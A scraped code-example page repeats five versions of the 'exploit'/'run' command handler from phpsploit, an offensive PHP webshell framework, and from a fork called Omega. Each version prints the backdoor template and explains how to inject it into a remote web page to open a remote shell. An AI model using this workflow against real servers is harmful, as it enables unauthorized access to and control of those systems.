コード例 #1
0
ファイル: interface.py プロジェクト: BwRy/phpsploit
    def do_exploit(self, argv):
        """Spawn a shell from target server

        SYNOPSIS:
            exploit [--get-backdoor]

        DESCRIPTION:
            This command send an HTTP request to the remote server
            url (defined by the $TARGET setting).
            If $TARGET is correctly backdoored with the
            phpsploit backdoor, the request remotely executes
            the session opener in order to retrieve environment
            variables, and spawn the phpsploit remote shell.

        OPTIONS:
            --get-backdoor
                Only display current backdoor, as it should be
                injected on the current or future target url.

            NOTE: The $TARGET setting should be a valid http(s) url,
            previously infected with the phpsploit backdoor.
        """
        obj = str(session.Conf.BACKDOOR(call=False))
        obj = obj.replace("%%PASSKEY%%", session.Conf.PASSKEY().upper())

        if len(argv) > 1:
            if argv[1] == "--get-backdoor":
                print(obj)
                return
            else:
                return self.interpret("help exploit")

        print("[*] Current backdoor is: " + obj + "\n")

        if tunnel:
            m = ("[*] Use `set TARGET <VALUE>` to use another url as target."
                 "\n[*] To exploit a new server, disconnect from «{}» first.")
            return print(m.format(session.Env.HOST))

        elif session.Conf.TARGET() is None:
            m = ("To run a remote tunnel, the backdoor shown above must be\n"
                 "manually injected in a remote server executable web page.\n"
                 "Then, use `set TARGET <BACKDOORED_URL>` and run `exploit`.")
            return print(colorize("%BoldCyan", m))

        else:
            tunnel.open()  # it raises exception if fails
コード例 #2
0
ファイル: interface.py プロジェクト: BwRy/phpsploit
    def do_exploit(self, argv):
        """Spawn a shell from target server

        SYNOPSIS:
            exploit [--get-backdoor]

        DESCRIPTION:
            This command send an HTTP request to the remote server
            url (defined by the $TARGET setting).
            If $TARGET is correctly backdoored with the
            phpsploit backdoor, the request remotely executes
            the session opener in order to retrieve environment
            variables, and spawn the phpsploit remote shell.

        OPTIONS:
            --get-backdoor
                Only display current backdoor, as it should be
                injected on the current or future target url.

            NOTE: The $TARGET setting should be a valid http(s) url,
            previously infected with the phpsploit backdoor.
        """
        obj = str(session.Conf.BACKDOOR(call=False))
        obj = obj.replace("%%PASSKEY%%", session.Conf.PASSKEY().upper())

        if len(argv) > 1:
            if argv[1] == "--get-backdoor":
                print(obj)
                return
            else:
                return self.interpret("help exploit")

        print("[*] Current backdoor is: " + obj + "\n")

        if tunnel:
            m = ("[*] Use `set TARGET <VALUE>` to use another url as target."
                 "\n[*] To exploit a new server, disconnect from «{}» first.")
            return print(m.format(session.Env.HOST))

        elif session.Conf.TARGET() is None:
            m = ("To run a remote tunnel, the backdoor shown above must be\n"
                 "manually injected in a remote server executable web page.\n"
                 "Then, use `set TARGET <BACKDOORED_URL>` and run `exploit`.")
            return print(colorize("%BoldCyan", m))

        else:
            tunnel.open()  # it raises exception if fails
コード例 #3
0
    def do_exploit(self, argv):
        """Spawn a shell from target server

        SYNOPSIS:
            exploit [--get-backdoor]

        DESCRIPTION:
            Connect to remote target URL (`help set TARGET`).

            If backdoor (`exploit --get-backdoor`) is correctly
            injected in target URL, phpsploit spawns a remote shell.

        OPTIONS:
            --get-backdoor
                Display current backdoor code, as it should be
                injected on target URL.
        """
        obj = str(session.Conf.BACKDOOR(call=False))
        obj = obj.replace("%%PASSKEY%%", session.Conf.PASSKEY().upper())

        if len(argv) > 1:
            if argv[1] == "--get-backdoor":
                print(obj)
                return True
            self.interpret("help exploit")
            return False

        print("[*] Current backdoor is: " + obj + "\n")

        if tunnel:
            m = ("[*] Use `set TARGET <VALUE>` to use another url as target."
                 "\n[*] To exploit a new server, disconnect from «{}» first.")
            print(m.format(session.Env.HOST))
            return False

        if session.Conf.TARGET() is None:
            m = ("To run a remote tunnel, the backdoor shown above must be\n"
                 "manually injected in a remote server executable web page.\n"
                 "Then, use `set TARGET <BACKDOORED_URL>` and run `exploit`.")
            print(colorize("%BoldCyan", m))
            return False

        return tunnel.open()  # it raises exception if fails
コード例 #4
0
ファイル: interface.py プロジェクト: jack51706/omega
    def do_run(self, argv):
        """Spawn a shell from target server.

        USAGE:
            run

        DESCRIPTION:
            Connect to remote target URL (`help set TARGET`).

            If payload (`run --get-payload`) is correctly
            injected in target URL, Omega spawns a remote shell.

        OPTIONS:
            --get-payload
                Display current payload code, as it should be
                injected on target URL.
        """
        obj = str(session.Conf.PAYLOAD(call=False))
        obj = obj.replace("%%PASSKEY%%", session.Conf.PASSKEY().upper())

        if len(argv) > 1:
            if argv[1] == "--get-payload":
                print(obj)
                return True
            self.interpret("help run")
            return False

        print("[*] Current payload is: " + obj + "\n")

        if tunnel:
            m = ("[*] Use `set TARGET <value>` to use another url as target."
                 "\n[*] To exploit a new server, disconnect from «{}» first.")
            print(m.format(session.Env.HOST))
            return False

        if session.Conf.TARGET() is None:
            m = ("To run a remote tunnel, the payload shown above must be\n"
                 "manually injected in a remote server executable web page.\n"
                 "Then, use `set TARGET <payloaded_url>` and run `run`.")
            print(colorize("%BoldCyan", m))
            return False

        return tunnel.open()  # it raises exception if fails
コード例 #5
0
ファイル: interface.py プロジェクト: nil0x42/phpsploit
    def do_exploit(self, argv):
        """Spawn a shell from target server

        SYNOPSIS:
            exploit [--get-backdoor]

        DESCRIPTION:
            Connect to remote target URL (`help set TARGET`).

            If backdoor (`exploit --get-backdoor`) is correctly
            injected in target URL, phpsploit spawns a remote shell.

        OPTIONS:
            --get-backdoor
                Display current backdoor code, as it should be
                injected on target URL.
        """
        obj = str(session.Conf.BACKDOOR(call=False))
        obj = obj.replace("%%PASSKEY%%", session.Conf.PASSKEY().upper())

        if len(argv) > 1:
            if argv[1] == "--get-backdoor":
                print(obj)
                return True
            self.interpret("help exploit")
            return False

        print("[*] Current backdoor is: " + obj + "\n")

        if tunnel:
            m = ("[*] Use `set TARGET <VALUE>` to use another url as target."
                 "\n[*] To exploit a new server, disconnect from «{}» first.")
            print(m.format(session.Env.HOST))
            return False

        if session.Conf.TARGET() is None:
            m = ("To run a remote tunnel, the backdoor shown above must be\n"
                 "manually injected in a remote server executable web page.\n"
                 "Then, use `set TARGET <BACKDOORED_URL>` and run `exploit`.")
            print(colorize("%BoldCyan", m))
            return False

        return tunnel.open()  # it raises exception if fails